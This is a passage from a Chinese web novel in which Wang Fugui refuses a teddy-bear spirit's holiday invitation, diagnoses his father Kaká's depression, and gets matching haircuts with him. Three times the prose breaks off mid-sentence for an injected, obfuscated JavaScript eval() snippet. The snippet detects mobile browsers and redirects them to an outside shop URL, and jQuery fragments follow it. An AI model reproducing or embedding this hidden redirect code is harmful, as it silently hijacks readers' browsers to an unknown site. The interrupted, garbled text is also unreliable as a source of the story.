王富贵先是恭喜他的升职,然后表示自己一定会想他的,天下没有不散色宴席,如果以后想自己了,就回来看看自己…… 毕竟如果没有他,自己也不一定能够活下来,泰迪熊其实算是他的救命恩熊来的。 泰迪熊动作有些扭捏的表达了自己的想法,他想要邀请王富贵和自己一起去度假。 “你是说你想让我和你一起?”王富贵不确定的重复道。 “嗯,我升职以后,正好可以带一个家属朋友一起去度假,你也知道的,我没有别的朋友,只有你一个好朋友。”泰迪熊 表情兴奋,他想不出王富贵拒绝自己的理由。 世界他都已经选好了,攻略这几天也做的差不多,现在就差王富贵点头同意了,他们可以一起游山玩水,在那里他们会有很多很多时间。 “对不起,小熊。”王富贵清了清嗓子开口说道,:“我不能和你一起去。” why? 泰迪熊傻了眼,王富贵竟然拒绝了自己,他忍不住怀疑,难道自己其实并不是王富贵最好的朋友?要是这样的话,他摸了摸自己的心,感觉自己的心肯定是碎了才会这么疼。 “我只是一个普通人,这里是我的世界,有我的家,我的亲人,我从小在这里长大,也想在这里死去,我是不会抛下他们的。”王富贵开口解释,他并不想让自己的朋友误会。 “如果我和你一起去异世界度假,我的亲人怎么办?我才刚和他相认。” “你就为了刚认识还没一个月的爸爸,抛弃你已经认识了三个月的最好最好的朋友?明明前段时间你才说过我是你最总重要的人。”泰迪熊心里更难受了,他一直以为,自己在王富贵心里是最重要的。 结果现实狠狠地抽了他一个大巴掌。 “你现在也是我最重要的熊啊,小熊,别生我的气,我不想失去你这个好朋友。”王富贵摸摸手里的毛绒玩具。 “我没有生你的气。”泰迪熊整理了下自己的毛毛,丧气的坐在王富贵的手心。 “可是你说了要回家的?那样不是也看不到你爸爸。” 出国和出世界能一样嘛!现在出国回国就是一张机票的事,他想卡卡了,还可以打电话。要是同意和泰迪熊去度假,回来都不知道是什么时候,万一渡个一两百年…… 而自己回国,这件事他也是经过深思熟虑的。 虽然很舍不得卡卡,但也是时候告别了,最近他能看出卡罗琳娜看他的眼神带着明显的焦躁,他已经是大孩子了,更不应该破坏卡卡现在的幸福生活。 “是有什么心事吗?”迪甘坐到王富贵身边。 平常都是卡卡缠着王富贵,今天卡卡被西蒙尼缠住,所以他来了,而且他也想好好了解了解王富贵。 王富贵被迪甘的声音吓了一跳,看着迪甘高大的身影,他发现了一个扎心的事实,他和整个莱特家族相比,身高确实不太高。 “没事。”王富贵自然不能说他唯一的朋友是只熊,现在这只熊还邀请自己去修仙世界度假。 那肯定会被当成神经病。 8. 平静日常 “有什么需要都可以告诉我的。”迪甘看着王富贵,就好像看见了年轻的卡卡在自己面前一般,经常会让他忘记眼前的人其实和他认识不到一个月。 王富贵摇摇头,有些奇怪,这些人是怎么了,怎么今天都一个两个的都拐弯抹角的关心他? “你来之后,卡卡的状态好多了。” “(⊙_⊙)?” 王富贵有些不解,要知道他来美国这么长时间,卡卡每天都呲着大牙对着他傻乐,让他忍不住疑惑,怎么会有人每天都这么开心的。 迪甘并不准备解释什么,而是倒了杯饮料递给王富贵:“尝尝,这是卡卡最喜欢喝的,我感觉你也会喜欢。” 杯壁上还带着水蒸汽,橙黄色的液体在杯子里咕噜咕噜的冒着气泡。 王富贵尝了一口,说实话喝惯了科技小甜水的胃,对这些高端气泡机打出的饮料实在是有些不适应。 二氧化碳在嘴巴里爆炸开来,刺激的王富贵脸皱成了一团。 “好难喝,好难喝,好难喝。” 到底是谁喜欢了碳酸饮料啊!! “哈哈哈。”迪甘杯王富贵的表情逗笑,露出一个恶作剧得逞的表情。 不是,您都这么大了,还对一个孩子恶作剧真的好嘛? 王富贵把杯子重重的放在桌子上,鼓起的脸颊在表达着他的不满, 下一秒,迪甘将被子拿起来,将饮料喝干净后说道:“你的表情,和卡卡第一次喝这个的时候一模一样。” 迪甘:“(*^▽^*)” “你不是说这是卡卡最喜欢喝的饮料吗?” “哦,那是我骗你的,这其实是我最喜欢喝的,卡卡他讨厌碳酸饮料。” “我也不喜欢喝碳酸饮料。”王富贵开口说道。 “我知道啊。”迪甘说道。 “你应该多笑笑,小小年纪,表情为什么这么严肃?” “……我天性不爱笑”。 “明天要和我们一起去教堂做礼拜吗?”迪甘开口邀请,他们一家都是虔诚的教徒,包括那个和卡卡二婚的嫂子,父母来这里的第一件事不用猜也知道,他们不会错过任何一场礼拜。 “礼拜?那是啥?”王富贵表示不认识,不理解。 “我们信奉上帝,是他赐予我们幸福安乐的生活……” 王富贵“……” 他默默把耳钉摘了下来。 接下来的半个小时,他的耳朵就没消停过。 “能不去吗?我不信上帝,我信道,我命由我不由天,懂吗?”看见迪甘终于不再叭叭叭,王富贵赶紧说道。 “道教?”迪甘也疑惑了,那是啥? 然后两个人开始大眼瞪小眼。 最后还是迪甘败下阵来,他还想开口再劝:“可是明天全家都会去,你一个人留在这里会很孤单,我们下午才会回来。” 迪甘不死心的还想要争取一下。 “迪甘,明天我会陪着富贵留在酒店。”卡卡从楼上走下来,他疲倦的捏了捏额头,出声打断了两人的对话。 “卡卡,你怎么,爸爸他们?”他还以为卡卡今天一整个晚上都会和父母呆在一块。 “我已经和爸爸妈妈解释清楚了一切,富贵从小就一个人生活,你不能按照对卢卡的标准对他,还有,不要对他恶作剧。”卡卡躺到王富贵旁边的沙发上,舒服的叹了口气。 看出卡卡的疲惫,王富贵给卡卡到了一杯鲜榨果汁,按照他这些天的观察,卡卡晚上一般除了水,就只会喝一点鲜榨果汁。 所以他刚才为什么会被骗啊!!! “谢谢。”喝过果汁的卡卡表情更加惬意。 天知道,他刚才说了多少话,才让父母相信,理解,接受,富贵的存在。 “明天你不去礼拜?我不是小孩子了,自己可以……”王富贵疑惑。 “不去,富贵,明天要和我一起去踢球吗?”卡卡打断他的话。 这并不是卡卡第一次邀请王富贵去踢球,只不过前几次都被他拒绝了,拒绝的理由也很简单——他对足球不感兴趣。 踢球,在华国是有钱人才能接触到的运动,长这么大,王富贵还没摸过足球呢。 不过这些事情可不能让卡卡知道,他知道的话,一定又会伤心了。 他能感受到卡卡对他的爱,所以他也想爱卡卡。 但是,这次真的还要再拒绝吗?如果再拒绝的话,卡卡一定会伤心的。 “既然你都这么诚心了,那明天就去踢球吧。”王富贵最终还是妥协了,他决定,今天晚上,恶补足球知识,不扔让卡卡看出来自己从来没有接触过足球。 卡卡一愣,他本来也没想过王富贵会答应的,他能看出这孩子对踢球这件事有些抗拒。 “那说好哦,明天要一起去踢球啊~”卡卡高兴极了,足球是他这一生为之奋斗的事业,他希望就算是他的孩子不准备踏上这条路,但至少不会讨厌足球。 “明天好好陪陪卡卡。”迪甘并不想要扫兴,他接了杯碳酸汽水,晃晃悠悠的回去,卡卡在这里,他总不好当着爹的面,继续捉弄人家儿子。 卡卡这次来观看世界杯,专门在足球场附近租的酒店,酒店附近都是来看世界杯的球迷,就算是到了晚上,路上依然热闹极了。 卡卡并不是一个话多的人,但是今天晚上的他似乎格外健谈,他和王富贵说自己从小的梦想就是当一个足球运动员,只要能踢球,让他付出什么代价他都心甘情愿。 他说只有在踢球的时候,他才能感觉到快乐。 说他度过的那些岁月,说他克服的那些困难,说他认识的那些志同道合的朋友。 他的眼睛亮晶晶的,似有眼泪闪过,又似乎只是王富贵的幻觉。 随着他的话,王富贵好似看到了卡卡那波澜壮阔的足球岁月。 然后,卡卡睡着了。 呃 虽然现在是夏天,虽然卡卡身下的沙发比王富贵以前睡过的所有床都软,但是,让他把卡卡一个人留在这里——中华人民的传统美德就是尊老爱幼。 或者,把他叫醒? 卡卡就像是一个树懒,叫醒他可不容易。 但是,王富贵是真的不想面对卡罗琳娜,那个女人的眼神看着他就像是看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17849826|211803||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 一个私生子,一个即将破坏他家庭的罪人,让他感觉十分不舒服,看见卡罗琳娜他现在基本上是绕着走的。 “你今天晚上就和我凑合凑合吧。”王富贵一把抱起卡卡,做了一个愉快的决定。 抱起卡卡,他就感觉怀里的重量不对劲,轻,太轻了,作为一个前足球运动员,就算是退役了,也不该这么轻。 他看过卡卡吃东西,是一个正常人的饭量,既然吃了那么多东西,就不应该这么瘦? 是身体出问题了?王富贵被自己的想法吓了一跳,加快了步伐。 等到了房间里,王富贵才将卡卡轻轻的放到床上,然后坐到一旁,手指轻搭在卡卡的手腕上。 然后他发现外国人的脉和中国人的也没有什么不同。 卡卡的脉就像一张紧绷的琴弦,又硬又长,是典型的肝郁气滞,阳气不足,气血亏虚,心神失养。简单来说就是——抑郁症。 卡卡有抑郁症?每天都呲着大牙冲他笑的卡卡有抑郁症? 王富贵不可置信的又把了一次脉,然后的出了相同的答案。 原来这次是迪甘对自己欲言又止的原因吗? 王富贵有些自责,他对卡卡的了解太少了,如果自己深入了解卡卡,可能早就发现卡卡的身体状况了,或许明天闲下来的时候可以去趟唐人街,在那里买点药材。 看着床上皱着眉头的卡卡,王富贵决定,以后还是对他好点吧。 王富贵看着床上的人,忍不住想,到底是什么样的打击,能把这样一个男人伤到这个样子? 或许,他可以问一问泰迪熊?他下意思摸了摸口袋,才发现口袋空了。 这才想到,泰迪熊说的要去休年假的事,现在已经走了吗? 还没有好好告个别呢,毕竟是自己的第一个朋友。 “你是不是以为我走了?”幽幽的声音在耳边响起,吓了王富贵一跳,这个时候他才发现肩膀上的小东西。 “你没走?”王富贵开心的问道。 “没有,你爹一来,你就满眼都是他,完全把我忘在了一边,我和你说了好多话,你都没有听见。” 怨妇一般的语气差点让王富贵憋不住笑。 “说,你最好的兄弟我,和你爹,谁对你最重要?” “卡卡。”王富贵耿直的回答完,低头对上了泰迪熊那不可置信的塑料眼睛,那眼睛还含着一泡泪水。 “哈哈哈哈。”王富贵被逗的直拍大腿,他一般不笑,除非是忍不住。 “为什么?我到底哪里比不上他?”泰迪熊绝望的捂住头。 “可能是颜值?你没有卡卡长得帅。” “你怎么能重色轻友?难道毛茸茸的我,还不够帅气吗?”泰迪熊本来对自己颜值很自信的,然后: “我喜欢没毛的。” “没毛” “毛” 今天晚上,泰迪熊受到了暴击,连击,自由搏击,然后输的一败涂地。 “那我,是不是第二重要的。”泰迪熊不死心的为自己争取地位。 “嗯,嗯,你是,是。”王富贵被泰迪熊摇的头晕眼花。 9. 亲子款 “我能知道卡卡,不,我想,知道卡卡的身体为什么,会变成这样,我想知道原因。”王富贵对着泰迪熊说道。 其实王富贵之前就搜索过卡卡的个人信息,因为伤病而退役。 最可惜的球员,最贵水货…… 可是,王富贵总觉得,卡卡的抑郁症还有别的原因,而那个原因,才是关键,想要彻底治好卡卡,他必须找到真相。 “你就知道我拒绝不了你。”泰迪熊拿着自己的小册子,翻了翻,没找到。 泰迪熊:“……” 再找找!! 哗啦啦的翻书声,在寂静的黑夜里格外明显。 ……还是没有。 “……” 装x失败的小熊脸上火辣辣。 “可能是这本权限太低了,我,我已经升职了,现在回去换一本,兄弟,你等我。”泰迪熊忙的手舞足蹈。 “嗯。” 巴掌大的小熊颤颤巍巍跳下床,向前跑了两步,然后消失不见。 卡卡睁开眼睛,本来他都做好了全身酸痛的准备了,但意外的是,他睡得非常好,或者说从来没有这么好过。 他看见头顶陌生的天花板,这是哪?他开始思考。 然后他看到窝在一旁沙发上的王富贵,原来是这孩子给他带回来了啊。 这也能解释为什么他会在这里,毕竟王富贵这几天都在躲着卡罗琳娜,肯定不会把他送回自己的房间,而其它孩子,是不会打扰自己一个人独处的,就连他最小的女儿也不例外。 不过,床这么大,这孩子怎么睡沙发上了?难不成是在害羞? 而沙发上的王富贵在这时也睁开了眼,看着床上的卡卡,没什么表情的脸上难得的露出一丝怨念,昨天晚上,他本来是睡在床上的,毕竟床那么大,睡三个人都绰绰有余。 他又不是有床不睡,非要睡沙发的傻子。 然后,昨天在他睡得正香的时候,他一脚就被卡卡踹下了床。 王富贵:“……” 还好,王富贵身强体壮,看着熟睡的卡卡,心里默念了几句他是自己爹,亲爹后,他拍了拍屁股上不存在的灰,又爬上床继续睡,为了避免再次被踹下床,他还专门换了到了卡卡的右面。 十分钟后,他又再次出现在床底。 不愧是足球运动员,劲可真大。 不死心的他又爬上床,这次他用被子把卡卡牢牢的裹了起来,还用身子压住了被角,自认为万无一失的准备继续睡。 “咚” “嘶,我的屁股。”王富贵摸着屁股,看了眼床上睡着的卡卡,只能不甘心的窝到一旁的沙发上,他的屁股可经不起折腾了。 “我亲爱的孩子,睡得好吗?真是感谢你没有抛弃你年老的父亲,让他一个人睡在泳池旁,毕竟那里的沙发,并不算软和。”卡卡对王富贵表达了由衷的感谢。 王富贵揉了揉自己乱成鸡窝的头发,从沙发上站起身,现在的他十分后悔,将卡卡给带回来,就应该让他昨晚上睡那个该死的沙发。 难道就没有和卡卡提过,他这糟糕的睡姿吗? 卡罗琳娜到底是怎么和卡卡生活这么多年还没被踹死的? “谢谢关心,我睡的很好。”王富贵冷冷的回应道,他现在要去看看自己的屁股,他敢确定自己的屁股一定肿了,卡卡是把他的屁股当成足球踢了是吗? 真不愧是卡卡。 王富贵看着屁股上那两个十分对称的紫红色脚印,忍不住捂住头。 这必须要赶紧上药,最好还是他自己配的药,那药效最好,看来今天是一定要去一趟唐人街了。 吃完了早饭,迪甘带着所有人去大教堂做礼拜,而卡卡则是驱车赶往了球场,昨天他们约好了要在那里踢球。 王富贵十分担心卡卡的车技和认路的本领,但是让他自己开?还是算了吧。 十分幸运的是,唐人街竟然就在球场不远处,他们正好路过那里。 “一会在唐人街停一下。”王富贵在车上坐立难安。 “你是要买什么东西吗?”卡卡疑惑的看着王富贵,将车停在唐人街的入口,这里他只是听说过,却从来没有来过,因为他并不会说中国话。 “我要买点药材,我是中医。”王富贵并没有隐瞒的打算,今天他不仅要买自己的药,卡卡的药他也要一起买。 “中医?”卡卡感觉自己的舌头都打了结,就和前几天晚上自己一个人学说王富贵这个名字一般。 “什么是中医?”他有些疑惑,但并不想在孩子面前暴露,只能假装深沉的点头说道:“你对什么感兴趣都可以去做,我永远会支持你的。” 然后再私下里偷偷拿出手机,搜索什么叫做“中医”?中医是干什么的? 网上的回复五花八门,看的卡卡眼花缭乱后卡卡才得出结论,中医就是“跳大神的,”也就是他们这里的“男巫”。 卡卡“……” “卡卡:“(⊙o⊙)” 好伟大的想法,他真的是老了,竟然一点也理解不了现在孩子的兴趣爱好。 不过“男巫”就男巫吧,他有钱,至少孩子当巫师之后,不会因为没钱而饿死。 唐人街上热闹极了,处处都让王富贵感觉熟悉,好似没有出国一般。 他很快就找到自己的目标,那是一个很大的药材批发市场,市场上东西很多,王富贵很快就凑齐了自己所需要的药材,然后他决定去买一口煮药的砂锅。 他需要的很好配置,难的是卡卡的药,按照他昨天的诊脉,卡卡应该在吃可以缓解抑郁的西药,而且时间不短,只不过那些药有点治标不治本。 而且还伴有极大的副作用。 但是他配的这幅中药,就算是药效没有西药那么显著的效果,但是他可以保证的是,绝对不会有那些恶心的副作用。 他对自己的医术有信心。 买完药,卡卡看出了王富贵似乎对这里非常感兴趣,看了眼时间开口问到:“还有点时间,要不在这里在逛一下?” 闻着鼻尖熟悉的香味,王富贵不加思索的点头,天知道他被白人饭摧残的胃到底有多怀念中餐。 他现在已经迫不及待想要大吃一顿了。 不过在此之前,他或许要先去剪个头发?王富贵有些不确定的想,他这几天感觉头发已经开始扎眼睛了,再过不久,他的头发就会卷起来,成为一个炸毛自来卷。 不不不,一定要赶在卷起来之前,把头发剪了。 可是,这里的技术,真的可以吗? 在他还在思考的时候,一转头,他就看到了一家理发店? 王富贵:“·-·” 这很蹊跷,很古怪,很不同寻常啊。 要不要进去看看? 卡卡看出了他的踌躇,很费解,不明白只是简单的理个发,眼前的孩子为什么会这样。 “你不明白卡卡,没有任何人,任何人,可以笑着走出理发店。”王富贵给卡卡说着自己的亲身经历,那都是血与泪的教训。 “孩子,你是过于紧张了,我就从来没有这种体验。”他看了看王富贵的头发,确认道 :“你这头发,确实是需要理发了。” 卡卡的眼神太过于真诚,真诚到等王富贵恢复意识时,已经坐到椅子上了,身后是拿着剪刀,正对着自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17849827|211803||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 己的头摩拳擦掌的理发师。 王富贵:“w(?Д?)w” 这件理发店十分的简谱,理发师是个三十岁左右的中年人和他的妻子。 两个人都是华人,卡卡进来的时候,两人还以为他走错了,毕竟他们的主要顾客都是华人,外国顾客他们实在是没剪过几个。 “能给这孩子剪个头吗?”卡卡露出一个得体的微笑,十分温柔的询问。 “没问题,马上就来。”老板娘爽朗的中式英语从屋里传来。 老板娘迈着小碎步从里面跑出来,看到卡卡的第一眼,就眼神发直心里感慨道:“这一定是大明星吧?” 第二眼,就看到了卡卡的一九分头型。 老板娘:“……” 这啥雷霆发型,也就是这个帅哥颜值高,但凡换个人,顶着这个头,绝对,绝对就是个灾难。 她感觉自己的手在蠢蠢欲动,今天,无论如何,这个头,她都剪定了,赌上理发师的尊严,她都不能让眼前这个帅哥顶着这个一九分发型从她家理发店走出去。 “你想要剪啥样的发型?”老板娘将卡卡按到椅子上,递给他一本厚厚的发型册子,卡卡打开,就看见各式各样的大头,看的他眼花缭乱。 “不是我剪头,是他。”卡卡指着王富贵又强调了一遍。 老板娘这才将目光转向了王富贵,看到王富贵的一瞬间,眼睛更亮,哇,又是一个帅哥,只不过这个帅哥的头发,显然没有卡卡的一九分有挑战。 将想要站起来的卡卡给按回椅子上,老板娘转头冲着屋里喊道。 “老头子,快出来,有客人。” “来了,来了。”屋里的老板纳闷的将手里的碗放到桌子上,他实在想不明白,哪家好人赶中午饭点出来剪头发的。 如果是来找茬的,他今天就要让这两个人好看。 然后他看到了一脸兴奋的自家婆娘,正抓着人帅哥,想给人剪头发? 完了,这是要强买强卖? “帅哥,你这头发也不短,在这也顺手剪一个吧,我在这剪了十年的头了,没有一个人说我手艺不好的。”老板娘的手像是一双无情的铁爪,将卡卡牢牢的按在椅子里动弹不得。 “呃,不用了把,我……” “只要你让我剪头,你们俩我都不收钱。”老板娘牙咬继续加码。 “不是钱的事,”卡卡想说自己对自己的发型还挺满意的。 然后被老板娘打断。 老板娘:“阿巴巴巴……” 卡卡笑了笑,自从他抑郁之后,头发就开始野蛮生长,这种有人压着想要给他剪头的事,再也没发生过。 卡卡的笑容衬得整间屋子都在发光,老板娘的脸色发红的询问:“这是你弟弟吧,和你长得真像,都是那么帅气。” “谢谢您的夸奖,不过他不是我的弟弟,是我的儿子。”卡卡开口解释道。 “啊,儿子,那可真看不出来,你看起来像才二十岁左右,你儿子多大了?长得可真壮,这大个得一米八都多了吧?” “他今年十八岁。” 过分的热情让他有些不适应,他有些后悔就这样莽撞闯进来了。 或许王富贵说的是对的。 “正好你可以和你儿子剪一样的发型,现在正流行亲子款呢,微分碎盖,剪过的人都说好看。”老板娘观察着两人的脸型,得出最后的结论。 卡卡十分适合微分碎盖,至于王富贵嘛,长得挺像的,应该也大差不差吧。 “亲子款?”卡卡呢喃着,眼神发亮。 想象着自己和富贵顶着一样的头型出去,哦,那一定有趣极了。 10. 第 10 章 经过老板娘不懈的努力,卡卡最终还是同意了老板娘的方案。 老板娘双眼冒光,她敢肯定这位帅哥会在自己这双巧手的修饰下,帅的惊天地泣鬼神。 至于这位帅哥的儿子? 不好意思,她喜欢熟男,青春稚嫩的帅哥激发不了她的灵感。 她老公的手艺也很不错的,剩下的就交给她老公来。 老板娘手艺极好,剪刀在手上腾转翻滚,灵活度极高,,却始终没碰到卡卡的一点头皮,随着碎发落地,咔嚓咔嚓的声音也停了下来。 放下剪刀的老板娘,又拿起了吹风机,她的眼神发亮,看着卡卡的脑袋,宛如一件艺术品。 而一旁的老板也没闲着,虽然对不收钱很不情愿,但是,作为理发师,总要有点人身追求不是,他可以剪很多的头,但是像这样帅的帅哥的头,那可就不一定喽。 “再和你确认最后一次?确定是要剪这个嘛?”老板收起自己的大嗓门,自认为十分细声细气的问到。 他指的正是老板娘说的微分碎盖。 “是。”王富贵回答的干脆,半点没没带犹豫,他也对亲子发型很感兴趣。 他摸着自己的脸,暗自想到:他和卡卡长得这么像,剪了同款之后,会不会有人将他们两个搞混? 哦,那画面,一定有趣极了。 到时候,还可以去捉弄迪甘,就说是卡卡做的。 见状老板也是二话不说,直接手起剪落,碎发就从他的头顶纷纷飘落。 与老板娘越来越快的速度不同,老板的剪刀挥的越来越慢,还时不时的朝着卡卡的方向看上两眼,脸上露出不可置信的表情。 喔豁,完蛋了。老板擦了擦额头的冷汗,在心里想到。 自己这是遇到事故了。 微分碎盖,这个发型老板一年至少要剪上千个,但是从来没有哪一个剪完,会有这么大的变化。 他停下动作,仔细打量眼前的这个脑袋,这张脸,这,细看还是那张脸啊?被剪掉的发型好似是道封印,现在封印消失,才露出本来面目。 都说气质决定一个人的长相,本来老板是不信的,现在事实摆在眼前,由不得他不信,进来还和双胞胎似得,这头发一剪,加上气质的衬托,直接变成两模两样了。 要不是头发是自己剪得,他都感觉自己是在做梦。 另一边的卡卡已经剪完头,老板娘还细心的给拿出珍藏的发胶,给做了一个微定型。 现在卡卡整个人,都在闪闪发光,搭配上那圣洁的气质,好似下一秒就要羽化登仙一般。 卡卡摸着自己光洁的下巴,打量着镜子中的自己,有些恍惚,他已经很久没有照过这么长时间的镜子了,镜子里的人让他都感觉有些陌生。 “完美。”老板娘看着卡卡的脸,心里与有荣焉,这一定是自己这辈子的巅峰作品,是活招牌,他俩出去逛上一圈,得招来多少客人,这就是自己打开外国市场的第一步。 然后,老板娘的目光朝着王富贵的椅子上一撇。 老板娘:“……” 她怎么记得,这人刚才不长这样? 现在坐在椅子上狂帅酷霸拽的是谁啊? 然后她看到了老板惨兮兮的脸,两人的目光在半空中交汇。 两个人的眼睛打起了双闪。 【刚才那个小帅哥呢?人怎么不见了?】 【就在这啊,椅子上就是。】 【放屁,这长得两模两样的,你和我说是一个人?】 【就是一个人,剪完就这样了】 【我就剪个头的功夫,你带人去整容了?】 【我冤枉,他真就是长这样。】 【你看看我剪完,那气质,那脸,超凡脱俗,在看你剪完,直接就变成坏小子了,对着这长脸,当爹的得多操多少心。】 【人家爹就在这呢,你这剪完了,他爹估计都认不出自己儿子。】 【太夸张了,不至于吧?】 【呵呵】 【……】 最怕空气突然安静。 王富贵看着镜子里的脸,又转头看看卡卡,又转回来,又转过去。 重复了几次之后,他的头被老板按住,老板小声开口:“别转了,脖子转断了,你也就是长这样。” 话刚说完,就被老板娘狠狠地瞪了两眼。 【不会说话,就把嘴捐了,当个哑巴。】 男儿有泪不轻弹,只是未到伤心处。 王富贵努力咬住下唇,眼眶憋得发红,才没有让眼泪留下来。 他明明不长这样啊。 明明头顶上的发型一模一样,为什么现在和卡卡长的差别这么大? “哎,小伙子,你别哭啊!”老板娘慌的一批。 卡卡这时也将目光从镜子里移开,然后就看见了正要哭兮兮的王富贵。 “我没有哭。”王富贵更委屈了,他真的不想哭,就是控住不住眼眶。 “头发剪得很帅啊?”卡卡看着王富贵的头,发现和自己的分毫不差,脸也很帅啊,就是剪完头后,气质变得有些奇怪?不是说不帅,反而是帅的太过于具体了,剪完头的王富贵,变成了一个坏小子。 就算是一脸委屈的表情,也感觉他要去做坏事。 这个气质,和某个人很像啊,而且是他的plus版本。 “为什么,剪完头发,咱们长得就不像了 ?”这才是让王富贵最接受不了的。 “怎么会?”卡卡有些诧异,他看着王富贵的脸,仔细观察,最后的出结论:“咱们两个长得很像啊,你现在和进来的时候,一模一样,只不过新剪的发型让你更帅了。” 老板:“……” 老板娘:“6” “笑一个,说不定就更像了,我可是很爱笑的。”卡卡继续说道。 然后,王富贵就真的露出了一个笑。 【别笑了,本来不笑像是要去做坏事的坏小子,这一笑,就像是已经做完坏事的。】老板和老板娘在心里同时呐喊到。 “真的更像了,简直和我年轻的时候一模一样。”卡卡开口说道。 老板都忍不住竖起了大拇指,真不愧是亲爹,这滤镜就是牛。 看着被哄好的王富贵,卡卡也露出一个微笑,就连生气也是这么好哄,和某人一模一样。 王富贵打量着镜子镜子里的自己,最后还是忍不住开口问到:“我,这个发型,是不是有点,太叛逆了?” 他更想说的是,他这发型怎么看着有点不像好人呢,要是再来俩纹身,就能去演电视里的黑色会了。 “叛逆?怎么会呢,我就喜欢你这样的气质。” 看着王富贵好一些失落,卡卡继续说道:“如果你不喜欢这个发型,咱们下一次可以剪别的,老板刚才推荐的锡纸烫,我看着就很不错。” “下次也一起?” “一起”卡卡伸出手指打趣的问到:“要不要拉钩?” “不要,那太幼稚了。”王富贵有些不好意思。 临走的时候,两人和老板告别,虽然老板极力阻止,卡卡还是付了剪头发的钱,毕竟他对自己的发型是真的很满意,只有王富贵的脸臭臭的,因为他反应过来,卡卡似乎是把自己当做小孩子哄了。 等到了球场,王富贵在里面看到了一堆老头? 王富贵:“……” “卡卡,你最好解释一下,这到底是怎么回事?” 但是卡卡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17849828|211803||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 早就被包围起来了,他们打量着卡卡的新发型,打趣的表示,已经十多年没有见过这么精致的卡卡了,真不愧是满四十剪二十的男人。 然后开始谈论曾经的光辉岁月。 王富贵:“无聊的大人,无聊的交际。” 然后他发现了人群里唯二的年轻人。 那是一个金发碧眼的男孩,身高至少190,男孩也发现了他,冲着他友好的笑笑,似乎是太过于无聊,男孩站起身,向着他走了过来。 “嘿,我是马捷理·兰伯特,我的父亲是修斯·兰伯特,你也是被家长抓来的吧,他们只要缺守门的就会抓我过来,天知道我今天还有训练。”男孩先开口问到,语气友善。 “呃,我是和卡卡一起来的。”王富贵伸手指向了人群中心的人。 “卡卡?他可是我的偶像,踢完球我要和他交换球衣。”男孩这时才发现卡卡也来了,眼睛里充满了惊喜。 “你是卡卡的侄子?”男孩看着王富贵,眼神里带着疑惑:“他是这里的常客,见过卡卡的次数屈指可数,更别提卡卡带人来这里。” “……我是他儿子。” “哦,对不起。”男孩有些懊恼的抓了抓头:“你应该是卢卡吧?我在电视上见过你的,你的样子和以前长得不一样了,我都没认出来。不过?”他伸出手比了比自己和王富贵的身高:“泥怎么比以前矮了这么多?” “……我不是卢卡,我是王富贵。” “王噜噜~”马捷理努力控制着自己的舌头,想要吐出后两个字,然后失败了。 “哦,王,你的名字太难了。” 王富贵冷着脸看着自己身边的大块头,不明白外国人为什么会这么自来熟,明明才刚认识,就想动手动脚的。 马捷理只是感觉到自己终于有了小伙伴,天知道,以前他自己一个人在这里有多难熬。 虽然他现在已经加入了奥兰多的青年队,并且是队里的大中锋,但是每到这里举行老头杯的前几周,他都要来这里陪父亲进行训练。 还好只是让他担任守门员,天知道他有多担心把这些成名已久的老头们一脚踢死。 后来他才发现自己的想法有多可笑,年老的狮子也是狮子。 他那次差点就被这些老家伙们给踢死。 “你现在在哪里踢球?”马捷理看着王富贵,感觉他和卡卡这样的脸,踢足球真的太可惜了。 要是再球场上被踢伤,他的女粉一定会暴走。 “我是家里蹲,不会踢球。” “啊啊啊啊啊。”马捷理控制不住自己的嘴,张的大大的,然后又很快反应过来,他的行为很不礼貌。 “不好意,王,我刚才只是太震惊了,我没有其他意思,为了表达的歉意,现在让我交你一些足球的临时技巧,我相信,你一定会用到的。” 说完,他跑到远处,抱来了一个足球。 卡卡那边还在寒暄,只不过他的余光一直注意着王富贵这边的动静,心里充满了歉意,他本来今天只约了大罗一个人的,谁知道这里今天竟然已经被别人预定做了训练场。 大罗看到卡卡的动作,开口说道:“卡卡,别像一个护犊的老母鸡一样,孩子长大了,总会离开父母的怀抱,想一想你的十八岁,已经在圣保罗一线队当主力了,哪里像现在这些小家伙,一点苦都吃不得。” 大罗又瞅了两眼王富贵,语气有些疑惑:“卡卡你有没有发现,你家小孩,和前两天长的不一样了?” 卡卡赶紧捂住大罗的嘴,警惕的看着周围一圈,才松了口气:“这话,你千万别在富贵面前说,我们今天一起剪完头他差点就哭了,你要是把他逗哭,就负责把他哄好。” 大罗:“……” 11. 天才 二十二个老头在球场的遮阳伞下叽叽喳喳,比起高尔夫那种高大上的活动,他们还是更喜欢足球,虽然身体机能已经退化,但只要活着,他们就会踢一辈子足球,他们永远怀念在足球场上肆意奔跑的岁月。 